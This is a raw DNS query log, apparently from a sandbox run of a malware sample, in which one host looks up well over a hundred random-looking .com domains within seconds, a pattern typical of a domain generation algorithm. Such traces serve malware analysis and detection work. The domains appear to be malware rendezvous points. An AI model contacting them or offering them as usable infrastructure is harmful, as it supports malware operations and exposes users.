                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.201009989 CET192.168.2.41.1.1.10x19afStandard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.201421976 CET192.168.2.41.1.1.10x64d1Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.202455997 CET192.168.2.41.1.1.10x8ffdStandard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.202725887 CET192.168.2.41.1.1.10x61feStandard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.209626913 CET192.168.2.41.1.1.10x5649Standard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.209971905 CET192.168.2.41.1.1.10x9fd6Standard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.217523098 CET192.168.2.41.1.1.10x7e51Standard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.217926979 CET192.168.2.41.1.1.10x7ec1Standard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.218188047 CET192.168.2.41.1.1.10xc238Standard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.218715906 CET192.168.2.41.1.1.10x6ff0Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.218879938 CET192.168.2.41.1.1.10xdb1cStandard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.219269037 CET192.168.2.41.1.1.10x1c62Standard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.219507933 CET192.168.2.41.1.1.10x54b9Standard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.227035999 CET192.168.2.41.1.1.10x55fdStandard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.227735996 CET192.168.2.41.1.1.10x3665Standard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.227927923 CET192.168.2.41.1.1.10x4ba1Standard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.228243113 CET192.168.2.41.1.1.10xc575Standard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.228456020 CET192.168.2.41.1.1.10x8fa8Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.228583097 CET192.168.2.41.1.1.10x81feStandard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.235599041 CET192.168.2.41.1.1.10x6c43Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.235877991 CET192.168.2.41.1.1.10x4a97Standard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.238625050 CET192.168.2.41.1.1.10xdfbdStandard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.239820004 CET192.168.2.41.1.1.10x5b42Standard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.240360022 CET192.168.2.41.1.1.10x48b4Standard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.240483999 CET192.168.2.41.1.1.10xd3d7Standard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.240976095 CET192.168.2.41.1.1.10xa4ceStandard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.241044998 CET192.168.2.41.1.1.10xc7Standard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.249205112 CET192.168.2.41.1.1.10x72baStandard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.250138044 CET192.168.2.41.1.1.10x6e1Standard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.261164904 CET192.168.2.41.1.1.10x4ae5Standard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.261367083 CET192.168.2.41.1.1.10x41b2Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.261662006 CET192.168.2.41.1.1.10xced6Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.261859894 CET192.168.2.41.1.1.10xfa96Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.262031078 CET192.168.2.41.1.1.10xeb02Standard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.271874905 CET192.168.2.41.1.1.10xb5b4Standard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272089958 CET192.168.2.41.1.1.10x4884Standard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272089958 CET192.168.2.41.1.1.10x5ac7Standard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272289038 CET192.168.2.41.1.1.10xfb14Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272445917 CET192.168.2.41.1.1.10x60e9Standard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272820950 CET192.168.2.41.1.1.10xfe91Standard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.272991896 CET192.168.2.41.1.1.10x478Standard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.273081064 CET192.168.2.41.1.1.10x41edStandard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.273591995 CET192.168.2.41.1.1.10x71d0Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.273683071 CET192.168.2.41.1.1.10xbb8Standard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.273730040 CET192.168.2.41.1.1.10xb867Standard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.273911953 CET192.168.2.41.1.1.10x8babStandard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.274079084 CET192.168.2.41.1.1.10xc725Standard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.282305956 CET192.168.2.41.1.1.10xd4e9Standard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.282454014 CET192.168.2.41.1.1.10xe1bcStandard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.282601118 CET192.168.2.41.1.1.10xd512Standard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.282946110 CET192.168.2.41.1.1.10x30e3Standard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.283041000 CET192.168.2.41.1.1.10xecceStandard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.283339024 CET192.168.2.41.1.1.10x6aaeStandard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.285757065 CET192.168.2.41.1.1.10x834fStandard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.285824060 CET192.168.2.41.1.1.10xdd30Standard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.286029100 CET192.168.2.41.1.1.10x41bStandard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.286063910 CET192.168.2.41.1.1.10xfa0Standard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.286385059 CET192.168.2.41.1.1.10x858bStandard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.287061930 CET192.168.2.41.1.1.10x4068Standard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.287271976 CET192.168.2.41.1.1.10xe69dStandard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.287571907 CET192.168.2.41.1.1.10x1507Standard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.288749933 CET192.168.2.41.1.1.10x51ffStandard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:16.290174007 CET192.168.2.41.1.1.10xf1f8Standard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.033746004 CET192.168.2.41.1.1.10x101fStandard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:17.225796938 CET192.168.2.41.1.1.10x8bd1Standard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.298968077 CET192.168.2.41.1.1.10x53feStandard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.299335003 CET192.168.2.41.1.1.10xd545Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.299618006 CET192.168.2.41.1.1.10xc5aStandard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.299942017 CET192.168.2.41.1.1.10xdd77Standard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.301013947 CET192.168.2.41.1.1.10x36fcStandard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.302783012 CET192.168.2.41.1.1.10x2443Standard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.309575081 CET192.168.2.41.1.1.10x4a2bStandard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.324538946 CET192.168.2.41.1.1.10xc998Standard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.331767082 CET192.168.2.41.1.1.10xeb58Standard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.333637953 CET192.168.2.41.1.1.10xd507Standard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.335015059 CET192.168.2.41.1.1.10xa96Standard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.335905075 CET192.168.2.41.1.1.10xa65dStandard query (0)vojycif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.336287975 CET192.168.2.41.1.1.10x3678Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.336406946 CET192.168.2.41.1.1.10xfcd1Standard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.337626934 CET192.168.2.41.1.1.10x7c4dStandard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.339195967 CET192.168.2.41.1.1.10x8911Standard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.340852022 CET192.168.2.41.1.1.10xb5f2Standard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.342896938 CET192.168.2.41.1.1.10x7945Standard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.343807936 CET192.168.2.41.1.1.10x11d3Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.345762014 CET192.168.2.41.1.1.10x60Standard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.347126007 CET192.168.2.41.1.1.10x11f5Standard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.349530935 CET192.168.2.41.1.1.10xab9eStandard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.350646019 CET192.168.2.41.1.1.10x9968Standard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.369642019 CET192.168.2.41.1.1.10xb9f2Standard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.377039909 CET192.168.2.41.1.1.10x6d06Standard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.390600920 CET192.168.2.41.1.1.10xe850Standard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.394088030 CET192.168.2.41.1.1.10xcbc9Standard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.394535065 CET192.168.2.41.1.1.10x7a3aStandard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.394704103 CET192.168.2.41.1.1.10x33deStandard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.395006895 CET192.168.2.41.1.1.10xa7b3Standard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.395338058 CET192.168.2.41.1.1.10x712eStandard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.400454044 CET192.168.2.41.1.1.10x5a62Standard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.400501966 CET192.168.2.41.1.1.10xf3c3Standard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.400808096 CET192.168.2.41.1.1.10x312dStandard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.401186943 CET192.168.2.41.1.1.10x44cStandard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.401551962 CET192.168.2.41.1.1.10x9b5eStandard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.406040907 CET192.168.2.41.1.1.10xb6dStandard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.418859959 CET192.168.2.41.1.1.10xabbdStandard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.424124956 CET192.168.2.41.1.1.10x40eeStandard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.429562092 CET192.168.2.41.1.1.10x9116Standard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.435281992 CET192.168.2.41.1.1.10x7214Standard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436018944 CET192.168.2.41.1.1.10xd084Standard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436248064 CET192.168.2.41.1.1.10xd343Standard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436319113 CET192.168.2.41.1.1.10xbfeStandard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436480999 CET192.168.2.41.1.1.10x2263Standard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436775923 CET192.168.2.41.1.1.10xacd4Standard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.436964035 CET192.168.2.41.1.1.10xedefStandard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.437180996 CET192.168.2.41.1.1.10x81afStandard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.437249899 CET192.168.2.41.1.1.10xafd2Standard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.437633991 CET192.168.2.41.1.1.10x4313Standard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.437927961 CET192.168.2.41.1.1.10x47c5Standard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.438129902 CET192.168.2.41.1.1.10xeec1Standard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.438412905 CET192.168.2.41.1.1.10x1229Standard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.440538883 CET192.168.2.41.1.1.10x548aStandard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.440850019 CET192.168.2.41.1.1.10xe624Standard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.441000938 CET192.168.2.41.1.1.10xe61bStandard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.442980051 CET192.168.2.41.1.1.10x3e34Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.443259001 CET192.168.2.41.1.1.10x5a69Standard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.443274021 CET192.168.2.41.1.1.10x6794Standard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.443502903 CET192.168.2.41.1.1.10xa3f2Standard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.443705082 CET192.168.2.41.1.1.10xaa55Standard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.446706057 CET192.168.2.41.1.1.10xf34aStandard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.454438925 CET192.168.2.41.1.1.10xc930Standard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.454760075 CET192.168.2.41.1.1.10xb427Standard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.707971096 CET192.168.2.41.1.1.10x8e96Standard query (0)gaqyhuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.714987993 CET192.168.2.41.1.1.10x9a7cStandard query (0)qeqyhup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.716173887 CET192.168.2.41.1.1.10xf326Standard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.718245983 CET192.168.2.41.1.1.10xa1d4Standard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.719502926 CET192.168.2.41.1.1.10x3e04Standard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.720031977 CET192.168.2.41.1.1.10xada7Standard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.720499992 CET192.168.2.41.1.1.10x6bfcStandard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.721976995 CET192.168.2.41.1.1.10x43a1Standard query (0)qedyrag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.723367929 CET192.168.2.41.1.1.10xe461Standard query (0)lygytyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.727219105 CET192.168.2.41.1.1.10xfff9Standard query (0)pufytev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.727281094 CET192.168.2.41.1.1.10x7c84Standard query (0)vowymyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.727650881 CET192.168.2.41.1.1.10x7482Standard query (0)qexyvoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.727813005 CET192.168.2.41.1.1.10xb9dcStandard query (0)vowyjut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.728740931 CET192.168.2.41.1.1.10x71f5Standard query (0)volypum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.729127884 CET192.168.2.41.1.1.10x5a0eStandard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.729468107 CET192.168.2.41.1.1.10xaaf7Standard query (0)lyxyvoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.729676008 CET192.168.2.41.1.1.10xffe7Standard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.730391026 CET192.168.2.41.1.1.10xfb40Standard query (0)puvycip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.741703987 CET192.168.2.41.1.1.10x347cStandard query (0)gatyhub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.766238928 CET192.168.2.41.1.1.10x4687Standard query (0)vojyrak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.773056984 CET192.168.2.41.1.1.10x8c44Standard query (0)vopyjuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.773969889 CET192.168.2.41.1.1.10xc613Standard query (0)qebyvop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.785423994 CET192.168.2.41.1.1.10x4b96Standard query (0)lyvyvix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.788476944 CET192.168.2.41.1.1.10xd14eStandard query (0)pujyteq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.788830042 CET192.168.2.41.1.1.10x5506Standard query (0)ganyvoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.789314985 CET192.168.2.41.1.1.10x492Standard query (0)gadykos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.791963100 CET192.168.2.41.1.1.10x250bStandard query (0)puzypug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.793426037 CET192.168.2.41.1.1.10xc9adStandard query (0)qekytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.794569016 CET192.168.2.41.1.1.10x9914Standard query (0)gaqynyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.795744896 CET192.168.2.41.1.1.10xb0a5Standard query (0)lyxysun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.796637058 CET192.168.2.41.1.1.10x2e13Standard query (0)lymyner.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.797924995 CET192.168.2.41.1.1.10xf125Standard query (0)qeqynel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.802431107 CET192.168.2.41.1.1.10xdd1cStandard query (0)qedykiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.807622910 CET192.168.2.41.1.1.10x7fb1Standard query (0)pumybal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.807708025 CET192.168.2.41.1.1.10x58c9Standard query (0)galypyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.807785034 CET192.168.2.41.1.1.10xb581Standard query (0)vofykoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.816636086 CET192.168.2.41.1.1.10xcca4Standard query (0)pupyjuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.816787004 CET192.168.2.41.1.1.10x8da1Standard query (0)lykytej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.816932917 CET192.168.2.41.1.1.10xe7c0Standard query (0)lysyjid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.817441940 CET192.168.2.41.1.1.10x125aStandard query (0)vonybat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.835239887 CET192.168.2.41.1.1.10xfd66Standard query (0)pufylap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.840651989 CET192.168.2.41.1.1.10x3d23Standard query (0)qexysig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.842963934 CET192.168.2.41.1.1.10x20cStandard query (0)puvydov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.844193935 CET192.168.2.41.1.1.10xcd9bStandard query (0)galycuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.844571114 CET192.168.2.41.1.1.10x92c8Standard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.845915079 CET192.168.2.41.1.1.10xa56eStandard query (0)qebyfav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.846395969 CET192.168.2.41.1.1.10xfff8Standard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.849787951 CET192.168.2.41.1.1.10xe246Standard query (0)vojyzyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.854316950 CET192.168.2.41.1.1.10x7fecStandard query (0)lysywon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.854732990 CET192.168.2.41.1.1.10x289dStandard query (0)lyvyfad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.857260942 CET192.168.2.41.1.1.10x9a0dStandard query (0)vonygec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:18.859580040 CET192.168.2.41.1.1.10x8ccbStandard query (0)ganyfes.comA (IP address)IN (0x0001)false
